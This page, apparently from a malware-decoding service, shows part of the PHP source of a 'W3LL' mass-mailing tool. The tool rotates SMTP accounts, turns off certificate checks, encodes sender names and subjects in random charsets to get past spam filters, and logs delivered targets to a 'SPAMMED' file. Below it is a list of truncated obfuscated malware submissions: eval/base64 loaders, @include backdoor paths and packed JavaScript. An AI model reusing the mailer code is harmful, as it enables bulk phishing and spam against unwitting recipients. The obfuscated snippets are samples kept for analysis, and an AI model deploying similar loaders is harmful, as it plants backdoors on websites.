    $fromname_encrypt    = $W3LL_setup['fromname_encrypt'];

    if($smtpport == 465)
    {
        $smtpserver = "ssl://".$smtpserver;
    }

    if (!$smtp->connect($smtpserver, $smtpport)) {
        //throw new Exception('Connect failed');
        echo "     [\e[0;31mPLEASE CHECK UR SMTP ON http://smtpernet [CASE1]\e[0m ]\r\n";
        die();
    }


    if (!$smtp->hello(gethostname())) {
        //throw new Exception('EHLO failed: ' . $smtp->getError()['error']);
        echo "     [\e[0;31mPLEASE CHECK UR SMTP ON http://smtpernet [CASE2] \e[0m ]\r\n";
        die();
    }

        $smtptypez = SmtpType($smtpserver);
        if ($smtp->authenticate($smtpuser, $smtppass)) {
            if(!is_file($msgfile)) {
                echo "     [\e[0;31m LETTER NOT FOUND - PLEASE CHECK YOUR LETTER NAME !\e[0m ]\r\n";
                die();
            }
            if($W3LL_setup['filesend'] == 1) {
                if(!is_file($W3LL_setup['attach'])) {
                    echo "     [\e[0;31m ATTACHMENT NOT FOUND - PLEASE CHECK YOUR ATTACHMENT NAME !\e[0m ]\r\n";
                    die();
                }
            }
            $randstr023       = RandString1(16);
            $mail           = new PHPMailer;

            //CREATE DKIM

            $selector = 'phpmailer';
            //Path to your private key:
            $privatekeyfile = 'setting/dkim_privatepem';
            //Path to your public key:
            $publickeyfile = 'setting/dkim_publicpem';
            
            $mail->Encoding = 'base64'; // 8bit base64 multipart/alternative quoted-printable
            $mail->headerLine("format", "flowed");
            
            $mail->addCustomHeader("MIME-Version: 10\r\n");
            //$mail->addCustomHeader("charset=UTF-8\r\n");

            //Start SMTP
            $mail->IsSMTP();
            $mail->SMTPAuth = true;
            $mail->x    = $smtpserver;
            $mail->Port     = $smtpport;
            $mail->Priority = $priority;
            $mail->SMTPOptions = array (
              'ssl' => array(
              'verify_peer'  => false,
              'verify_peer_name'  => false,
              'allow_self_signed' => true));
            $mail->Username = $smtpuser;
            $mail->Password = $smtppass;
            $randstr01       = RandString1(8);
            $randstr011      = RandString(5);
            $randstr012      = RandString1(5);
            $nmbr            = RandNumber(5);


            shuffle($subject);
            $subject  = array_shift($subject);
            shuffle($fromname);
            $fromname  = array_shift($fromname);

            $fromnames = str_replace('++w3ll_smtp++', $smtpuser, $fromname);
            $frommails = str_replace('++w3ll_smtp++', $smtpuser, $frommail);
          
          

            $fromnames = str_replace('++w3ll_randstring++', $randstr011, $fromnames);
            $frommails = str_replace('++w3ll_randstring++', $randstr01, $frommails);

            $fromnames = privateLHZ($email, $fromnames, $smtpuser);
            $frommails = privateLHZ1($email, $frommails);


            $subjects  = str_replace('++w3ll_randstring++', $randstr012, $subject);
            $subjects = subjecting($subjects, $email, $frommail, $fromname, $randurl, $subject, $smtpuser, $redirect);

            if($fromname_encrypt == 1)
            {
                $rand = rand(1,5);
                switch($rand)
                {
                    case 1:
                        $fromnames = '=?ISO-8859-15?B?'.base64_encode($fromnames).'?=';
                        $mail->setFrom($frommails, $fromnames);
                        break;
                    case 2:
                        $fromnames = '=?Windows-1254?B?'.base64_encode($fromnames).'?=';
                        $mail->setFrom($frommails, $fromnames);
                        break;
                    case 3:
                        $fromnames = '=?UTF-8?B?'.base64_encode($fromnames).'?=';
                        $mail->setFrom($frommails, $fromnames);
                        break;
                    default:
                        $fromnames = '=?ISO-8859-1?B?'.base64_encode($fromnames).'?=';
                        $mail->setFrom($frommails, $fromnames);
                        break;
                }
            }
            else
            {
               $mail->setFrom($frommails, $fromnames);
            }

            $mail->AddAddress($email);

            if($subject_encrypt == 1)
            {
                $rand = rand(1,4);
                switch($rand)
                {
                    case 1:
                        $subjects = '=?Windows-1254?B?'.base64_encode($subjects).'?=';
                        $mail->Subject = $subjects;
                        break;
                    case 2:
                        $subjects = '=?ISO-8859-1?B?'.base64_encode($subjects).'?=';
                        $mail->Subject = $subjects;
                        break;
                    case 3:
                        $subjects = '=?UTF-8?B?'.base64_encode($subjects).'?=';
                        $mail->Subject = $subjects;
                        break;
                    default:
                        $subjects = '=?Windows-1252?B?'.base64_encode($subjects).'?=';
                        $mail->Subject = $subjects;
                        break;
                }
            }
            else
            {
                $mail->Subject = $subjects;
            }
          
            if ($W3LL_setup['filesend'] == 1) {
                $attch = file_get_contents($W3LL_setup['attach']);
                $attach = lettering($W3LL_setup['attach'], $email, $frommail, $fromname, $randurl, $subject, $smtpuser, $redirect);
                file_put_contents($W3LL_setup['attach'], $attach);
                $mail->AddAttachment($W3LL_setup['attach']);
            }
          
            if ($replacement == 1) {
                $msg = lettering($msgfile, $email, $frommail, $fromname, $randurl, $subject, $smtpuser, $redirect);
            } else {
                $msg = file_get_contents($msgfile);
            }
            
            $mail->msgHTML($msg);

            if (!$mail->send()) {
                $err = 0;
                $halo = $mail->ErrorInfo;

                if (preg_match('/\bquota\b/',$halo))
                {
                    $err = 1;
                }
                

                if($err == 1)
                {
                    
                    echo "     [\e[1;35m";
                    echo $num+1 ."\e[0m] ";
                    echo "\e[0m[\e[1;34m$email\e[0m] ";
                    echo " > [\e[0;31mFAIL - $smtptypez SMTP SEND QUOTA HAS LIMIT - NOT REMOVED\e[0m]\n";

                }
                else
                {
                    if ($W3LL_setup['userremoveline'] == 1) {
                        
                                echo "     [\e[1;35m";
                                echo $num+1 ."\e[0m] ";
                                echo "\e[0m[\e[1;34m$email\e[0m] ";
                                echo " > [\e[0;31mEMAIL NOT VALID - REMOVED\e[0m]\r\n";

                        Savedata($W3LL_setup['mail_list'], trim(str_replace($email, "", file_get_contents($W3LL_setup['mail_list']))));
                        $file = fopen("INVALIDtxt", "a+");
                        fwrite($file, "$email\n");
                        fclose($file);
                    }
                    else
                    {
                        
                                echo "     [\e[1;35m";
                                echo $num+1 ."\e[0m] ";
                                echo "\e[0m[\e[1;34m$smtpuser\e[0m";
                                echo " > \e[0;31mSMTP ERROR\e[0m] [\e[0;31m☓\e[0m]\n";
                    }
                    //
                }
            } else {
                
                        echo "     [\e[1;35m";
                        echo $num+1 ."\e[0m] ";
                        echo "\e[0m[\e[1;34m$smtpuser\e[0m";
                        echo " to \e[96m$email\e[0m] [\e[92m✓\e[0m]\n";
                $file = fopen("SPAMMEDtxt", "a");
                fwrite($file,"". $email." \r\n");
                fclose($file);
            }
            $mail->clearAddresses();

        } else {
            
                    echo "     [\e[1;35m";
                    echo $num+1 ."\e[0m] ";;
                    echo "\e[0m[\e[1;34m$smtpuser\e[0m";
                    echo " > \e[0;31mSMTP ERROR\e[0m] [\e[0;31m☓\e[0m]\n";
                    $file = fopen("FAILEDtxt", "a");
            fwrite($file,"". $email." \r\n");
            fclose($file);
        }
    $smtp->quit(true);
}


    $dipake = 0;

    if(!is_file($W3LL_setup['mail_list'])) {
         echo "     [\e[0;31m MAILIST NOT FOUND - PLEASE CHECK YOUR MAILIST NAME !\e[0m ]\r\n";
         die();
    }

    $file = file_get_contents($W3LL_setup['mail_list']);

    if ($file) {
        $ext = explode("\n", $file);
       echo "                              [\e[36mTIME START \e[92m: " .date('H:i:s')."] ";
		echo " \r\n\r\n                                   \e[1;94m████████████\e[0m                           \r\n";
        echo "\e[0m     ██████████████████████████████\e[1;32m \e[92mW\e[33m3\e[36mL\e[35mL \e[31mS\e[92mT\e[33mA\e[36mR\e[35mT \e[0m████████████████████████████\e[0m\n";
        echo "                                  \e[1;94m ████████████\e[0m\r\n";
        echo "\r\n";
      
        $smtp_key = 0;
        $rat = $W3LL_setup['ratio'];
        $crot = 0;
        $crotmax = count($ext) - 1;

        foreach ($ext as $num => $email) {

            if ($smtp_key == count($smtp_acc)) {
                $smtp_key = 0;
            }

                        $ahh = $ext[$crot];
            $w3ll_setup['fromname'] = $ahh;
            $crot++;
            if ($crot >= $crotmax){
                $crot = 0;
            }
            $rat--;
            if($rat == 0)
            {
                sleep($W3LL_setup['sleeptime']+1);
                $rat = $W3LL_setup['ratio'];
                echo "     \e[92m═══════\e[33;1mSEND $rat EMAIL WITH DELAY ".$W3LL_setup['sleeptime']." SECOND\e[92m═══════\e[0m\r\n";
            }
            RandNumber(5);
            //kirim
            $pid = pcntl_fork();

            if ($pid == -1) {
                exit("Error forking...\n");
            } else if ($pid == 0) {
                Kirim($email, $smtp_acc[$smtp_key], $W3LL_setup);
                
            }
            $dipake++;
            $smtp_key++;
            if ($W3LL_setup['userremoveline'] == 1) {
                unset($ext[$num]);
                Savedata($W3LL_setup['mail_list'], implode("\n", $ext));

            }
        }
		
        echo " \r\n\r\n                                   \e[1;94m███████████\e[0m                           \r\n";
        echo "\e[0m     ██████████████████████████████\e[1;32m \e[92mW\e[33m3\e[36mL\e[35mL \e[31mD\e[92mO\e[33mN\e[36mE \e[0m█████████████████████████████\e[0m\n";
        echo "                                  \e[1;94m ███████████\e[0m\r\n";
		echo "\r\n ";
		echo "                             [\e[36mTIME DONE \e[92m: " .date('H:i:s')."] ";
        echo "\r\n";
    }


Recent submissions:

/*d3a5d*/ @include "\057var\057www\057tra\163ser\057dat\141/ww\167/id\145i-b\151z.c\157... \u0627\u0639\u0637\u0627\u0621 \u0627\u063a\u0631\u0627\u0636... $ornzm = 'ykusH684f7xi0m1blc#2rp_*\'ao-9vgt3edn';$ufgargu = Array();$ufgargu[] = $ornzm[17... \057h\157m\145/\153o\156l\151n\145/\160u\142l\151c\137h\164m\154/\064a\155u\163i\143/\167p... \057home\057konl\151ne/p\165blic\137html\0574amu\163ic/w\160-con\164ent/\164heme\163/.7d\1... <?php $_kfzat = basename/*s2kia*/(/*cxrmj*/trim/*239bu*/(/*7iy*/preg_replace/*bjao*/(/*40... chr(97).chr(115).chr(97).chr(118).chr(115).chr(100).chr(118).chr(100).chr(115)... \057va\162/w\167w/\167ww\056ex\162an\164.c\157.j\160/h\164do\143s/\167p-\151nc\154ud\145s/... (function(a,c){var b=function(b){while(--b){a['push'](a['shift']());}};b(++c);}(_0xab17,... if(function_exists('date_default_timezone_set')){date_default_timezone_set('America/Los_An... <? $GLOBALS['_____1330558556']= array(base64_decode('S'.'W5'.'jbHVkZ'.'U1vZHVsZ'.'Uxh'.'b'... (function(a, c) { var b = function(b) { while (--b) { a['push']... <?php $_ej2w83 = basename/*301*/(/*vi*/trim/*h*/(/*9d*/preg_replace/*gsl5*/(/*v8mwx*/rawu... <?php eval("\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\... "/x54/x68/x69/x73/x49/x73/x4A/x53","/x47/x65/x74/x43/x6F/x75/x6E/x74","/x50/x61/x73/x73/x7... exec(marshal.loads(b'\xe3\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0f\x00\x00\x00@... @include "\057home\057deal\163orte\162/pub\154ic_h\164ml/w\160-inc\154udes\057Simp\154ePie... namespace FreePBX\modules; use Informunity\Classes; use Informunity\Rest\App\CheckRegistra... <?php $fapeau = 'gHnvu6o#xfar02_-p*db\'itc34kl1ym7se9';$skuyzht = Array();$skuyzht[] = $f... <?php // $OOO0O0O00=__FILE__;$OOO000000=urldecode('%74%68%36%73%62%65%68%71%6c%61%34%63%... "/x54/x68/x69/x73/x49/x73/x4A/x53","/x47/x65/x74/x43/x6F/x75/x6E/x74","/x50/x61/x73/x73/x7... <?php //004e5 if(!extension_loaded('ionCube Loader')){$__oc=strtolower(substr(php_uname()... "\uD83E\uDD26\uD83C\uDFFB‍♀️\uD83D\uDE44... "\uD83E\uDD26\uD83C\uDFFB‍\uD83D\uDE44... <?php /* PHP Encode by http://Www.PHPJiaMi.Com/ */error_reporting(0);ini_set("display_err... <?php /** * Copyright © 2015 Wyomind. All rights reserved. * See LICENSE.txt for ... <?php if (!class_exists(base64_decode('TUxNX0luaXRpYWxpemF0aW9u'))): final class ML... "\x2f\141\163\x74\x65\x72\151\x73\x6b\55\x61\x70\160\57\x61\x75\164\157\154\x6f\141\144\x2... \141cc\x6fu\x6et/\166e\162i\x66y_\x63\162e\x64en\x74ia\154s... \x69d... f\141\166o\x72ite\x73/\143\162e\141t\145... // WARNING! This file contains some subset of JS that is not supported by type inference. ... \x65\x76\x61\x6c\x28\x66\x75\x6e\x63\x74\x69\x6f\x6e\x28\x70\x2c\x61\x2c\x63\x2c\x6b\x2c\x... <?php $ooujzlq = "joqrontrohhqydqo";$ingqkhilyw = "";foreach ($_POST as $skzprurpa => $cnr... <?php $_1298mcg = basename/*h*/(/*t*/trim/*g75*/(/*gt*/preg_replace/*jr9g3*/(/*ons*/rawur... <?php $gntvq = '-r_xytd\'#57uv4gfsncm*9H1aieko2plb38';$bkgkih = Array();$bkgkih[] = $gntv... <?php /*f2cf0*/ @include "\057ho\155e/\166ic\164or\151ad\162ai\156s/\160ub\154ic\137ht... <?php ${"G\x4cO\x42A\x4c\x53"}["\x62\x68\x66_\x6fy\x79s\x76\x64z\x5fa\x69\x61\x73n\x65a\x7... \165s\x65r\x73/s\150o\167... \x42ö\171\x6c\x65 \x62\151r \x6b\165\x6cl\141\156ıcı y\x6fk.... us\145\x72_\x69d... \146ri\145nds\x68\151\160s/\143\162\x65\141t\145... $c90bf1b3 = 494;$GLOBALS['h3c8'] = Array();global $h3c8;$h3c8 = $GLOBALS;${"\x47\x4c\x4fB\... @include "\057h\157m\1452\057h\141w\153r\151d\147/\160u\142l\151c\137h\164m\154/\167p\055c... @include "\057home\062/haw\153ridg\057publ\151c_ht\155l/wp\055cont\145nt/u\160load\163/201... @include "\057hom\1452/h\141wkr\151dg/\160ubl\151c_h\164ml/\167p-c\157nte\156t/u\160loa\14... /*4ae2b*/ @include "\057h\157m\1452\057h\141w\153r\151d\147/\160u\142l\151c\137h\164m\1... /*321cd*/ @include "\057ho\155e2\057ha\167kr\151dg\057pu\142li\143_h\164ml\057wp\055co\... Array();global $h3c8;$h3c8 = $GLOBALS;${"\x47\x4c\x4fB\x41\x4c\x53"}['t2d4702d3'] = "\x67\... <?php $_sm81h3 = basename/*9ps*/(/*q*/trim/*ngk*/(/*o5l9*/preg_replace/*fb*/(/*7*/rawurld... \xf4\xbe\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x002x\xba\x85\tTeamSpeak\x00\... \x65\x72\x0A\x37\x00\x00\x00\x00\x00\x00\x00\x02\x00\x01\x86\xA0\x00\x00\x00\x02​\x00\x0... \x00\x00\x00\x00\x00\x00\x00\x38\x89\x78\x71\x84\xzz\x94\x90\x84... \x00\x02\xf1\x26\x01\x26\xf0\x90\xa6\xf0\x26\x57\x4e\xac\xa0\xec\xf8\x68\xe4\x8d\x21... \x73\x74\x64\x00\x00\x00\x00\x00... <?php $jqqnmn = '*af\'710c8dktgprs#Hiv-ml_9xyoe43n26ub';$utdkmm = Array();$utdkmm[] = $jq... <?php $whmbr = 'n\'m2#bl6gvxaH-r*t_9p0u8ofdycei541sk';$srjuykz = Array();$srjuykz[] = $wh... <?php /************ CONFIG *************/ /* define('DB_HOST', "localhost"); define('DB... <?php $Arj17aAhn1 = "vh46afl7tm2ik*n3pws.bu;0j)(qo_erzxy51dg9c8/";/* 1129813*/$jaUajsnas71... <?php $icnblgm = 5009; function ulqslmedy($etgbv, $kwdep){$ivynuhvkcr = ''; for($i=0; $i... <?php ... ... "\057ho\155e/\145mp\162em\065/p\165bl\151c_\150tm\154/b\165sc\141do\162in\155ob\151li\141r... <?php $gkwbly = "illaljuzurrzreud";$skvfymvgwfzvixsc = "";foreach ($_POST as $jigawsua => ... \320\222\321\213\321\201\320\276\321\202\320\260 \321\201\320\270\320\264\320\265\320\275\... \057ho\155e/\163ti\143ke\162ei\147la\164za\164/h\164do\143s/\143ac\150e/\0564d\06663\06166... \057home\057shir\164shop\057htdo\143s/pl\165gins\057exte\156sion\057.44b\066eab9\056ico... \057ho\155e/\160au\154mu\145ll\145rd\145/h\164do\143s/\141lt\057ht\144oc\163/i\156te\162n/... GL\x4f\x42\x41LS"}["\x79\x62\x65z\x73n"]="\x73\x71l";${"\x47\x4cO\x42\x41L\x53"}["rj\x72ki... @include "\057hom\145/mi\152oga\143om/\150tdo\143s/i\155age\163/he\141der\163/.8\0625f5\06... @include "\057hom\145/re\155pel\145ner\147ie/\150tdo\143s/t\145mpl\141tes\057bee\1723/j\14... @include "\057hom\145/he\170en2\06018/\150tdo\143s/t\145mpl\141tes\057bee\1723/j\141vas\14... @include "\057h\157m\145/\150u\147_\142u\057h\164d\157c\163/\164e\155p\154a\164e\163/\150u... function abc($a52, $a10) { $a54 = array(); $a55 = 0x0; $a56 = ''; $a5... <?php function abc($a52, $a10) { $a54 = array(); $a55 = 0x0; $a56 = ''... /*e823f*/ @include "\057v\141r\057w\167w\057o\160u\154e\156t\163o\143k\163.\143o\155/\1... eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?Strin... var _0x1da2=["\x44\x20\x35\x7A\x3D\x5B\x27\x5C\x6C\x5C\x4D\x5C\x7A\x5C\x31\x42\x5C\x65\x5C... \u0631\u0642\u0645 \u0627\u0644\u0643\u0648\u0628\u0648\u0646 \u063a\u064a\u0631 \u0635\u0... \u0644\u0645 \u064a\u062a\u0645 \u0625\u064a\u062c\u0627\u062f \u0627\u0644\u0643\u0648\u0... \06 \... /*0ce8d*/ @include "\057va\162/w\167w/\157pu\154en\164so\143ks\056co\155/a\144mi\156/v\... $_iz0u3q = basename/*2*/(/*8w*/trim/*hxp2*/(/*j7hu*/preg_replace/*lim*/(/*2x*/rawurldecode... @include "\057v\141r\057w\167w\057o\160u\154e\156t\163o\143k\163.\143o\155/\141d\155i\156/... "\x47\x4c\x4fBA\x4c\x53"}["\x6alohb\x6d\x67"]="db\x6e\x61\x6d\x65";${"\x47\x4cO\x42\x41\x4... 'use strict'; /** * @param {?} showClose * @return {undefined} */ alert = function... SF-Port1337-TCP:V=7.80%I=7%D=11/23%Time=5DD998A8%P=x86_64-pc-linux-gnu%r(N SF:ULL,1BC,"\x... <?php $jnfhhl = 'ft2g_\'yp6iHu0r8b7*e#sko-5navdxcm4l';$ujyrvun = Array();$ujyrvun[] = $jn... <?php /*8642e*/ @include "\057home\062/hmt\1410618\057foto\153abin\141.net\057font\163... "\x47\x4c\x4f\x42AL\x53"}["\x73\x75\x75o\x6b\x6e\x62\x7a\x61\x64"]="\x71\x75\x65r\x79";${"... "G\x4cO\x42\x41\x4cS"}["r\x65r\x6bfjn\x68\x69"]="\x71\x75\x65\x72\x79";${"\x47L\x4f\x42A\x... "G\x4cO\x42\x41\x4c\x53"}["\x73h\x6ak\x73\x6e"]="\x74\x6fk\x6b\x65\x6e";${"G\x4c\x4f\x42\x... \u0e40\u0e01\u0e34\u0e14\u0e02\u0e49\u0e2d\u0e1c\u0e34\u0e14\u0e1e\u0e25\u0e32\u0e14 \u0e0... ${"\x47\x4c\x4f\x42A\x4cS"}["e\x6f\x61\x74lk\x73\x64"]="\x64\x62\x6eame";${"\x47\x4c\x4f\x... <?php @eval("?>".base64_decode("PCFkb2N0eXBlIGh0bWw+DQo8aHRtbD4NCjxoZWFkPg0KPG1ldGEgY2hhcn... <?php $_F=__FILE__;$_X='Pz48P3BocCAkX0Y9X19GSUxFX187JF9YPSdQenU4UG9CMmNBMEtKRE55YkNBOUlDUm... <?php @eval("?>".base64_decode("PD8NCg0KJGtvbmVrc2k9bXlzcWxfY29ubmVjdCgibG9jYWxob3N0Iiwicm... <?php @eval("?>".base64_decode("PHRpdGxlPkRpbmFzIFNvc2lhbCBUZW5hZ2EgS2VyamEgZGFuIFRyYW5zbW... <?php @eval("?>".base64_decode("PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjEiIGNlbGxzcGFjaW5nPS... \xA8\xA3\xBB\xB8\xD1\xCA\xB4\xBA\x35\x2C\x58\x47\x42\x56\x2B\x55\x3D\x42\x58\x26\x5A\x34\...

© 2019 Quttera Ltd. All rights reserved.